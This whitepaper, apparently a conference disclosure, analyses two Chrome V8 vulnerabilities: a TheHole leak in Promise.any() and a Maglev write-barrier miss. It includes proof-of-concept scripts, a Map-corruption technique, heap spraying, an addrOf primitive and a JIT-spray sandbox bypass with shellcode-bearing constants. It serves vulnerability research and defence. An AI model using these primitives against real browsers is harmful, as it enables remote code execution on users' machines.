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The Hat Trick: Exploit Chrome 
Twice from Runtime to JIT

1. Introduction
The V8 JavaScript engine is a critical component of the modern web, powering 
browsers like Google Chrome, NodeJS and other applications. However, its 
widespread adoption has also made it a target for hackers who seek to exploit 
security vulnerabilities. 

This whitepaper discusses two such vulnerabilities, CVE-2022-4174 and Chromium-
Issue-1423610, which enable attackers to perform remote code execution. These 
vulnerabilities are attributed to the occurrence of internal value TheHole  leakage 
within the runtime's built-in function, and write barrier missing during the JavaScript 
optimization known as Maglev .

This content will explore the technical details of these vulnerabilities and explain their 
root causes and exploitation techniques.

2. TheHole Value Leakage in Promise.any() Function
This section will introduce the first attack surface we discusse: leaking internal magic 
values of the target program through newly implemented JavaScript standard built-in 
functions.

We found an RCE vulnerability(CVE-2022-4174) in a related field, involving 
TheHole value leakage leading to RCE of the V8 engine.
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2.1 Overview
2.1.1 Promise  function in JavaScript

In JavaScript, Promise  is a  a class of handling asynchronous operations that can 
make code clearer and easier to maintain. A Promise object  has three states: 
pending, resolved (successfully completed), or rejected (failed).

Promises allow asynchronous operations to be handled in a simple and 
understandable way, as they provide a mechanism for converting asynchronous 
operations (such as network requests or file reads) into synchronous-like 
functions for handling the result. At the same time, it can also handle the problem of 
callback hell, where numerous nested JavaScript callback functions make the code 
structure very messy.

// 1. create new async task 
const promise1 = new Promise((resolve, reject) => { 
  // 3. execute asynchronous operations... 
  if (...) 
   resolve(success_value); // resolve current promise if operations are completed 
  else 
    reject(error_value); // or reject the promise if error occurs. 
}); 
 
const promise2 = promise1.then((result) => { 
  // 4.a handle `resolve` asynchronously 
  console.log("promise1 resolve: " + result); 
}).catch((error) => { 
  // 4.b handle `reject` asynchronously 
  console.log("promise1 reject: " + error); 
}); 
 
// 2. execute other synchronous operations...

As Promise  is commonly used in JavaScript for handling asynchronous tasks, and its 
functionality requires fairly complex code logic, unfortunately, this has led to 
numerous security issues. For example, CVE-2020-6537 is a vulnerability that was 
discussed at Black Hat USA 2021 and it involved the Promise.allSettled  function.

In this time, we will discuss the Promise.any()  function.

JavaScript Promise.any()  is a new feature that has been added to the Promise  class 
in ES2021. It is a built-in method that accepts an array of multiple Promise objects  as 
parameters. After processing the inputs, it will return a new Promise object . The 
Promise.any()  method resolves when any of the Promise objects  in the input array is 
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resolved. The value of the first resolved Promise object  in the array is returned as the 
resolved value of the resulting Promise object.

If all Promise objects  in the array are rejected, the Promise.any()  method rejects with 
an AggregateError. An AggregateError is a new type of error added in ES2020 that 
represents multiple errors as a single error.

The Promise.any()  method is useful when you need to wait for any Promise object  to 
resolve, regardless of which Promise object  it is, and then perform some action 
depending on the resolved value.

2.1.2 TheHole  Internal Value in V8

TheHole value is a data structure used internally in the V8 engine, typically used to 
represent an uninitialized JS object. For example, the following JS code snippet 
declares an array of three elements:

let arr = [1, /* TheHole */, 2];

The element arr[1]  is not initialized, so the TheHole  value occupies the space of this 
element in the V8 engine internally:

d8> %DebugPrint(arr); 
 
DebugPrint: 0xa060004c2ed: [JSArray] 
 ... 
 - elements: 0x0a060019a849 <FixedArray[3]> { 
           0: 1 
           1: 0x0a060000026d <the_hole>   <-------- TheHole internal value 
           2: 2 
 } 
... 
 
[1, , 2]

2.2. The Root Cause of RCE Vulnerability
The CVE-2022-4174 vulnerability we discovered is caused by incorrect handling of 
the remainingElementsCount variable, and the creation of an errors array with one 
extra uninitialized element. This uninitialized element retains the TheHole value, 
which is then leaked to the user script.

The following are detailed steps.
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1. Promise.any() function receives an array of input promises. During the iteration 
of the input array, if the current iteration promise implements the then() function 
(which can be user-defined), then the promise will be synchronously resolved or 
rejected.

// Code snippet of PerformPromiseAny function  
// in v8/src/builtins/promise-any.tq 
 
// Iterate the input array and take one promise. 
const then = GetProperty(nextPromise, kThenString); 
thenResult = Call( // <------- CALL <promise>.then() function 
    context, then, nextPromise, 
    UnsafeCast<JSAny>(resultCapability.resolve), rejectElement); 
// execute remaing promise.any logic.

2. During the iteration process of input promises, the variable 
remainingElementsCount counts how many input promises there are. Recall that 
the behavior of Promise.any() is to reject the combined promise if all input 
promises are rejected. This variable determines when to reject the combined 
promise: if remainingElementsCount == 0, then the combined promise would be 
rejected.

// Code snippet of PromiseAnyRejectElementClosure function  
// in v8/src/builtins/promise-any.tq 
 
// 10. Set remainingElementsCount.[[Value]] to 
// remainingElementsCount.[[Value]] - 1. 
remainingElementsCount = remainingElementsCount - 1; 
*ContextSlot( 
    context, 
    PromiseAnyRejectElementContextSlots:: 
        kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount; 
 
// 11. If remainingElementsCount.[[Value]] is 0, then 
if (remainingElementsCount == 0) {  // <---- WILL REJECT IF TRUE 
  //   a. Let error be a newly created AggregateError object. 
 
  //   b. Set error.[[AggregateErrors]] to errors. 
  const error = ConstructAggregateError(errors); 
  //   c. Return ? Call(promiseCapability.[[Reject]], undefined, « error »). 
  const capability = *ContextSlot( 
      context, 
      PromiseAnyRejectElementContextSlots:: 
          kPromiseAnyRejectElementCapabilitySlot); 
  Call(context, UnsafeCast<Callable>(capability.reject), Undefined, error); 
}
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3. The variable remainingElementsCount is initialized to 1 (not 0!) to ensure that 
the combined promise is not incorrectly rejected if the first input promise is 
synchronously rejected during iteration. Since the input is an iterable, the 
number of input promises is unknown ahead of time. Hence, each iteration 
increments remainingElementsCount by 1, and at the end of the iteration, it is 
decremented by 1.

// Code snippet of PromiseAnyRejectElementClosure function  
// in v8/src/builtins/promise-any.tq 
transitioning macro PerformPromiseAny(implicit context: Context)( 
    nativeContext: NativeContext, iteratorRecord: iterator::IteratorRecord, 
    constructor: Constructor, resultCapability: PromiseCapability, 
    promiseResolveFunction: JSAny): JSAny labels 
Reject(JSAny) { 
  ... 
 
  // 5. Let index be 0. 
  //    (We subtract 1 in the PromiseAnyRejectElementClosure). 
  let index: Smi = 1; // <---- origin is 1 
 
  try { 
    ... 
    // 8. Repeat, 
    while (true) { 
      ... 
 
      // h. Append undefined to errors. (Do nothing: errors is initialized 
      // lazily when the first Promise rejects.) 
 
      let nextPromise: JSAny; 
      // i. Let nextPromise be ? Call(constructor, promiseResolve, 
      // «nextValue »). 
      nextPromise = CallResolve(constructor, promiseResolveFunction, nextValue); 
 
      ... 
      // remainingElementsCount. 
      const rejectElement = CreatePromiseAnyRejectElementFunction( 
          rejectElementContext, index, nativeContext); 
      // q. Set remainingElementsCount.[[Value]] to 
      // remainingElementsCount.[[Value]] + 1. 
      const remainingElementsCount = *ContextSlot( 
          rejectElementContext, 
          PromiseAnyRejectElementContextSlots:: 
              kPromiseAnyRejectElementRemainingSlot); 
      // <------ Update remainingElementsCount when iterating a new input promise. 
      *ContextSlot( 
          rejectElementContext, 
          PromiseAnyRejectElementContextSlots:: 
              kPromiseAnyRejectElementRemainingSlot) = 
          remainingElementsCount + 1; 
 
      // r. Perform ? Invoke(nextPromise, "then", « 
      // resultCapability.[[Resolve]], rejectElement »). 
      let thenResult: JSAny; 
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      const then = GetProperty(nextPromise, kThenString); 
      thenResult = Call( 
          context, then, nextPromise, 
          UnsafeCast<JSAny>(resultCapability.resolve), rejectElement); 
 
      // s. Increase index by 1. 
      index += 1; // <--- Also increase the current index. 
 
      ... 
    } 
  } catch (e, _message) deferred { 
    ... 
  } label Done {} 
 
  // (8.d) 
  //   i. Set iteratorRecord.[[Done]] to true. 
  //  ii. Set remainingElementsCount.[[Value]] to 
  //  remainingElementsCount.[[Value]] - 1. 
  // <---- Before using remainingElementsCount, simply minus 1 
  const remainingElementsCount = -- *ContextSlot( 
      rejectElementContext, 
      PromiseAnyRejectElementContextSlots:: 
          kPromiseAnyRejectElementRemainingSlot); 
 
  // iii. If remainingElementsCount.[[Value]] is 0, then 
  if (remainingElementsCount == 0) deferred { 
      // 1. Let error be a newly created AggregateError object. 
      // 2. Set error.[[AggregateErrors]] to errors. 
 
      // We may already have elements in "errors" - this happens when the 
      // Thenable calls the reject callback immediately. 
      const errors: FixedArray = *ContextSlot( 
          rejectElementContext, 
          PromiseAnyRejectElementContextSlots:: 
              kPromiseAnyRejectElementErrorsSlot); 
 
      const error = ConstructAggregateError(errors); 
      // 3. Return ThrowCompletion(error). 
      goto Reject(error); 
    } 
  // iv. Return resultCapability.[[Promise]]. 
  return resultCapability.promise; 
}

4. When the combined promise is rejected, it returns an AggregateError containing 
an array of values for each input promise rejection. V8's implementation of 
Promise.any() lazily constructs this error array.

The V8 bug is in (4). The new capacity of errors array is incorrectly computed as the 
max(remainingElementsCount, index of the input promise + 1) . 



The Hat Trick: Exploit Chrome Twice from Runtime to JIT 7

// Code snippet of PromiseAnyRejectElementClosure function  
// in v8/src/builtins/promise-any.tq 
 
// 8. Let remainingElementsCount be F.[[RemainingElements]]. 
let remainingElementsCount = *ContextSlot( 
    context, 
    PromiseAnyRejectElementContextSlots:: 
        kPromiseAnyRejectElementRemainingSlot); 
 
// 9. Set errors[index] to x. // <---- HERE 
const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);  
if (newCapacity > errors.length_intptr) deferred { 
    errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity); 
    *ContextSlot( 
        context, 
        PromiseAnyRejectElementContextSlots:: 
            kPromiseAnyRejectElementErrorsSlot) = errors; 
  } 
errors.objects[index] = value;

During iteration of the input promises, the remainingElementsCount variable is one 
higher than its true value. If a synchronous rejection occurs, an errors array is 
created with one extra element. This element is never assigned a value and remains 
uninitialized, leaking the TheHole value to user scripts.

// Proof of Concept 
var log = console.log; 
 
class CraftPromise { 
    static resolve(val) { 
        log("3. craft_promise.resolve is called"); 
        return val; 
    } 
    static reject(err) { 
        log("5. final reject handler is called, args AggregateError", err); 
        %DebugPrint(err.errors[1]); 
    } 
    constructor(PromiseGetCapabilitiesExecutor) { 
        log("2. craft_promise is called before calling PromiseGetCapabilitiesExecuto
r"); 
        PromiseGetCapabilitiesExecutor(CraftPromise.resolve, CraftPromise.reject); 
    } 
} 
 
let input_promise = { 
    then(resolve, PromiseAnyRejectElementClosure) { 
        log("4. input_promise then"); 
        PromiseAnyRejectElementClosure(); 
    } 
} 
 
log("======================== OUTPUT ========================"); 
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log("1. before Promise.any"); 
Promise.any.call(CraftPromise, [input_promise]); 
 
/* 
======================== OUTPUT ======================== 
1. before Promise.any 
2. craft_promise is called before calling PromiseGetCapabilitiesExecutor 
3. craft_promise.resolve is called 
4. input_promise then 
5. final reject handler is called, args AggregateError AggregateError: All promises we
re rejected 
DebugPrint: 0x249800002459: [Oddball] in ReadOnlySpace: #hole 
0x249800002431: [Map] in ReadOnlySpace 
 - type: ODDBALL_TYPE 
 - instance size: 28 
 - elements kind: HOLEY_ELEMENTS 
 - unused property fields: 0 
 - enum length: invalid 
 - stable_map 
 - non-extensible 
 - back pointer: 0x2498000023e1 <undefined> 
 - prototype_validity cell: 0 
 - instance descriptors (own) #0: 0x2498000021ed <Other heap object (STRONG_DESCRIPTOR
_ARRAY_TYPE)> 
 - prototype: 0x249800002261 <null> 
 - constructor: 0x249800002261 <null> 
 - dependent code: 0x2498000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> 
 - construction counter: 0 
*/

2.3. From TheHole Value Leakage to Renderer RCE
TheHole value leakage vulnerabilities were first spotted in the wild 0-day CVE-2021-
38003, and resurfaced in another wild one called CVE-2022-1364. Although having 
diverse causes, these vulnerabilities share a common result - the leakage of the 
non-exposed data structure TheHole to user script. 
With the internal data structure TheHole being exposed through the vulnerability, the 
hacker can create a Map  structure with the length of -1. This can result in out-of-
bounds Read & Write and provide an opportunity for remote code execution (RCE).

The following are detailed exploitation steps.

1. The Map  structure utilizes special handling for the value of TheHole. When a 
user deletes an element from the Map, the corresponding slot will be filled with a 
TheHole value and the corresponding counter will be modified.

TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) { 
  ... 
 
  TryLookupOrderedHashTableIndex<OrderedHashMap>( 
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      table, key, &entry_start_position_or_hash, &entry_found, &not_found); 
 
  ... 
 
  BIND(&entry_found); 
  // <----- 1. Mark deleted entry to TheHole value 
  // If we found the entry, mark the entry as deleted. 
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(), 
                         TheHoleConstant(), UPDATE_WRITE_BARRIER, 
                         kTaggedSize * OrderedHashMap::HashTableStartIndex()); 
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(), 
                         TheHoleConstant(), UPDATE_WRITE_BARRIER, 
                         kTaggedSize * (OrderedHashMap::HashTableStartIndex() + 
                                        OrderedHashMap::kValueOffset)); 
 
  // <----- 2. update remaining element number & deleted element number 
  // Decrement the number of elements, increment the number of deleted elements. 
  const TNode<Smi> number_of_elements = SmiSub( 
      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())), 
      SmiConstant(1)); 
  StoreObjectFieldNoWriteBarrier( 
      table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements); 
  const TNode<Smi> number_of_deleted = 
      SmiAdd(CAST(LoadObjectField( 
                 table, OrderedHashMap::NumberOfDeletedElementsOffset())), 
             SmiConstant(1)); 
  StoreObjectFieldNoWriteBarrier( 
      table, OrderedHashMap::NumberOfDeletedElementsOffset(), 
      number_of_deleted); 
 
  const TNode<Smi> number_of_buckets = CAST( 
      LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex())); 
  // <------------ 3. shrink the memory if needed. 
  // If there fewer elements than #buckets / 2, shrink the table. 
  Label shrink(this); 
  GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), 
                     number_of_buckets), 
         &shrink); 
  Return(TrueConstant()); 
 
  BIND(&shrink); 
  CallRuntime(Runtime::kMapShrink, context, receiver); 
  Return(TrueConstant()); 
}

2. As we are able to obtain the value of TheHole through the vulnerability described 
earlier, we first add TheHole to the Map and then call the map.delete  function. 
Since its key is already set to TheHole, the corresponding entry is not deleted 
and number_of_elements is decreased by 1. This allows us to delete TheHole 
multiple times until number_of_elements underflows to -1.

var map = new Map(); 
let hole = triggerHole(); 
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map.set(1, 1); 
map.set(hole, 1); 
map.delete(hole); 
map.delete(hole); 
map.delete(1); 
console.log(map.size) // -1

3. Let’s dive into the internal structure of Map ! When using gdb to print out a Map 
structure, we can see that the internal structure of Map is a FixedArray .

All properties of the Map structure, as well as bucket values and element values, 
are placed in the same array, and the elements in the Map are represented as 
(key, value, index of the next value)。

4. For the Map structure that we obtained previously, which has a value of -1 for 
number_of_elements , its internal data is shown below:
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number_of_elements: -1

number_of_deleted: 0

number_of_buckets: 2

Two buckets are filled with -1, while the remaining data  entries are all filled 
with #undefined.

The total count of element entries is twice the value of bucket count, while 
sum(element_count, deleted_count)  （variable occupancy）represents the length of 
element entries that has been used. 

When calling the map.set  function to write data to the Map, the actual write 
address to store new element is determined to be elements_base_addr + occupancy * 
entrySize.

 Since  occupancy  is equal to -1, the written data has the ability to control 
bucket_count .

TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) { 
  ... 
 
  BIND(&add_entry); 
  TVARIABLE(IntPtrT, number_of_buckets); 
  TVARIABLE(IntPtrT, occupancy); 
  TVARIABLE(OrderedHashMap, table_var, table); 
  { 
    // Check we have enough space for the entry. 
    number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement( 
        table, OrderedHashMap::NumberOfBucketsIndex()))); 
 
    STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2); 
    const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1); 
    const TNode<IntPtrT> number_of_elements = SmiUntag( 
        CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset()))); 
    const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField( 
        table, OrderedHashMap::NumberOfDeletedElementsOffset()))); 
    // <------- calculating the next element entry position, the value will be -1. 
    occupancy = IntPtrAdd(number_of_elements, number_of_deleted); 
    GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry); 
 
    // We do not have enough space, grow the table and reload the relevant 
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    // fields. 
    // <------ UNREACHABLE here, since occupancy(-1) < 2 * bucket_cnt 
    CallRuntime(Runtime::kMapGrow, context, receiver); 
    ... 
    Goto(&store_new_entry); 
  } 
  BIND(&store_new_entry); 
  // Store the key, value and connect the element to the bucket chain. 
  // <----- Store the value. Currently occupancy == -1. 
  StoreOrderedHashMapNewEntry(table_var.value(), key, value, 
                              entry_start_position_or_hash.value(), 
                              number_of_buckets.value(), occupancy.value()); 
  Return(receiver); 
}

Changes in memory are as follows:

Actually, the value of elements_base_addr is equal to bucket_base_addr + 4bytes * 
bucket_count . As a result, we can modify bucket_count  to a larger value and then 
call map.set  again to cause out-of-bounds writing of data to the memory area 
behind the Map. 

If there is a JSArray structure located behind the Map structure, we can use the 
out-of-bounds write capability of the Map to modify the length of the JSArray, 
obtaining a much more powerful out-of-bounds read & write primitive.

5. With an out-of-bounds read/write primitive on a JSArray with a very large length, 
it becomes relatively easy to achieve Remote Code Execution (RCE) in V8, and 
subsequently take control of the Chrome renderer process.
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3. Write Barrier Miss within Maglev's Optimization 
Layer
In addition to the attack surface we previously discussed, we would like to share 
another attack surface that could potentially be exploited by attackers: Newly 
implemented compilation layer Maglev optimizations can lead to write barriers 
missing.

We discovered another RCE vulnerability(Chromium-Issue-1423610), involving a 
write barrier miss within the Maglev optimization layer in the V8 engine. 

3.1. Maglev Overview
There are several well-known compilation mechanisms in the V8 compilation 
pipeline, including the Ignition interpreter, the SparkPlug compiler, and the widely-
known TurboFan compiler.

The Ignition interpreter is responsible for parsing JavaScript code into bytecode and 
executing it. While it doesn't incur significant runtime overhead, directly interpreting 
bytecode can result in slower execution of JavaScript code. To improve execution 
speed, the SparkPlug compiler converts Ignition's bytecode into machine code, 
allowing it to be executed natively and significantly improving performance. However, 
unlike the TurboFan compiler, SparkPlug does not implement advanced optimization 
strategies. TurboFan performs extensive code analysis and optimization, incurring 
some compilation time overhead but ultimately resulting in better performance.

Maglev is a newly implemented mid-tier compiler between SparkPlug and Turbofan, 
which aims to compile code as fast as possible (in practice, not much slower than 
SparkPlug), while allowing for some level of optimization.

Previously, attackers have discovered a large number of vulnerabilities in the 
TurboFan compiler. Therefore, as a newly implemented mid-tier compiler, Maglev's 
complex code may also contain potential security issues. Its complex code structure 
makes it susceptible to security vulnerabilities.

3.2. Garbage Collection and Write Barrier
The V8 high-performance JavaScript engine utilizes two types of garbage collection: 
minor GC using a copying algorithm for the new generation, and major GC using 
mark-and-sweep and mark-and-compact algorithms for the old generation. During 
the process of GC, remembered sets are utilized to optimize the updating of 
pointers between the old and new generations. 
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The write barrier mechanism is also important in updating internal data structures 
and tracking modifications made to pointers within objects. It plays an essential 
role in garbage collection, ensuring that any modifications made to pointers are 
properly tracked and updated in the heap. Each memory write event that updates the 
heap includes a write barrier, which is a code snippet that notifies the garbage 
collector of any changes to pointers within objects. The write barrier, along with 
remembered sets, also helps optimize the updating of pointers between the old and 
new generations during GC.

3.3. The Root Cause of RCE Vulnerability
When the graph builder creates a StoreTaggedField, it drops the write barrier when it 
knows that the value being stored is a Smi (typically because there was a 
CheckedSmiUntag or CheckSmi earlier), and generates a 
StoreTaggedFieldNoWriteBarrier.

However, after phi untagging, if the value was a Smi, we could have decided to 
untag it to a Float64 representation rather than to Int32 (or, even if we untagged it to 
Int32, it could overflow the Smi range, and, when retagging it, we might need to box 
it). In such cases, the value that we're storing is going to be a heap object rather 
than a Smi, which means that the stores requires a writer barrier.

However, by using StoreTaggedFieldNoWriteBarrier instead of 
StoreTaggedFieldWithWriteBarrier in this case, it resulted in the absence of a write 
barrier. This results in a dangling pointer and causes a Use After Free vulnerability.

PoC Here:

function f(a) { 
  let phi = a ? 0 : 4.2; // Phi untagging will untag this to a Float64 
  phi |= 0; // Causing a CheckedSmiUntag to be inserted 
  a.c = phi; // The graph builder will insert a StoreTaggedFieldNoWriteBarrier 
             // because `phi` is a Smi. Afterphi untagging, this should become a 
             // StoreTaggedFieldWithWriteBarrier, because `phi` is now a float. 
} 
// Allocating an object and making it old (its `c` field should be neither a Smi 
// nor a Double, so that the graph builder inserts a StoreTaggedFieldxxx rather 
// than a StoreDoubleField or CheckedStoreSmiField). 
let obj = {c:"a"}; 
gc(); 
gc(); 
%PrepareFunctionForOptimization(f); 
f(obj); 
%OptimizeMaglevOnNextCall(f); 
// This call to `f` will store a young object into that `c` field of `obj`. This 
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// should be done with a write barrier. 
f(obj); 
// If the write barrier was dropped, the GC will complain because it will see an 
// old->new pointer without remembered set entry. 
gc();

3.4. From Write Barrier Missing to Renderer RCE
The write barrier missing vulnerability was first discovered in Chrome-Issue-791245, 
and a similar vulnerability was later identified as CVE-2022-1310. This type of 
vulnerability will result in a pointer, that points to the memory space of the new 
generation, not being recorded in the remembered set. If the pointed new generation 
object is moved by GC, the pointer will not be updated, resulting in a dangling 
pointer and causing Use after free. This vulnerability can be exploited to create a 
fake array object through heap spray, which allows hackers to obtain arbitrary 
address read and write primitives.

Furthermore, by creating a large JSArray object with a fixed address of elements 
and placing the target object to be leaked in its elements, an addrof primitive can be 
obtained. This allows attackers to bypass the V8 sandbox mechanism and execute 
shellcode through JIT spraying, achieving complete exploitability of the vulnerability.

The following are detailed exploitation steps.

Constructing Out-of-Bound-Primitive with Heap Spray

First, Let’s try to trigger the Minor GC in V8. The minor GC will cause objects in the 
young generation memory to move, which can result in victim pointers being left 
dangling.

After that, trigger the Major GC to reclaim unused memory and compress the layout 
of objects in memory. This is necessary to prepare for allocating a JSArray at the 
position indicated by the dangling pointer.

Now that we've optimized the heap layout, we can allocate a JSArray and have it 
occupy the memory region indicated by the dangling pointer.
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After the memory area pointed to by the dangling pointer is occupied, the values in 
that area can be controlled. To exploit this, the values in the area are carefully 
crafted to create a fake JSArray object, which contains both a controllable element 
address and a controllable array length.
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Currently, we have acquired a powerful primitive for arbitrary address read and write. 
The next step is to explore the way to leak arbitrary JavaScript object addresses, 
which involves constructing the addrof primitive.

AddrOf-Primitive

Since objects in the large object space of V8 remain in a static location, we can 
create a large JSArray object with fixed address elements and place the target 
object we want to leak in its elements. Afterward, we can use an arbitrary address 
read primitive to extract the address of the element stored in the large JSArray's 
elements.

// Code snippet of exploit 
var addrOf_L0 = new Array(0x30000); 
... 



The Hat Trick: Exploit Chrome Twice from Runtime to JIT 18

function addrOf(object) { 
  // Mondify the element address in fake_object_array,  
  // and set it to reference addrOf_L0. 
 fake_object_array[3] = helper.i64tof64(0x1c214900000219n); 
  // Store specific object address into addrOf_L0 
 addrOf_L0[0] = object; 
  // We can retrieve the object address that is stored in addrOf_L0  
  // through fake_object_array. 
  return helper.ftoil(fake_array[0]); 
}

V8 Sandbox Bypass

In newer versions, V8 has implemented a sandbox mechanism that places most of 
the memory objects, created by V8, in a contiguous 1TB address space. 
Therefore it can prevent any sandboxed objects from accessing memory regions 
outside of the sandbox.

Despite the introduction of this new protective measure, it is still possible to bypass 
the V8 sandbox and execute shellcode by JIT spraying. This is because the V8 
sandbox does not randomize the addresses of some sensitive objects, like Function 
object.

For example, after optimizing the following JSFunction：

const foo = () => { 
    return [ 
        1.9711828979523134e-246, 
        1.9562205631094693e-246, 
        1.9557819155246427e-246, 
        1.9711824228871598e-246, 
        1.971182639857203e-246, 
        1.9711829003383248e-246, 
        1.9895153920223886e-246, 
        1.971182898881177e-246 
    ]; 
} 
   
% PrepareFunctionForOptimization(foo); 
foo(); 
% OptimizeFunctionOnNextCall(foo); 
foo();

the offset of code region address will always be  0x001a1a85：
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The last thing we need to do is to modify the entry point of the JIT code so that it can 
directly execute shellcode hidden in immediate values. We can use the addrOf 
primitive previously created to find the memory object address related to the JIT 
code, and use the arbitrary address read/write primitive to modify the entry point 
address of the JIT code.
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4. Conclusion
Understanding the nature of the two RCE vulnerabilities in Google's V8 JavaScript 
engine, CVE-2022-4174 and Chromium-Issue-1423610, will help to better 
understand the new attack surface and methods of exploiting vulnerabilities. By 
staying informed about the latest attack surfaces and potential exploitation 
techniques, the developers can take appropriate measures to protect browsers. 


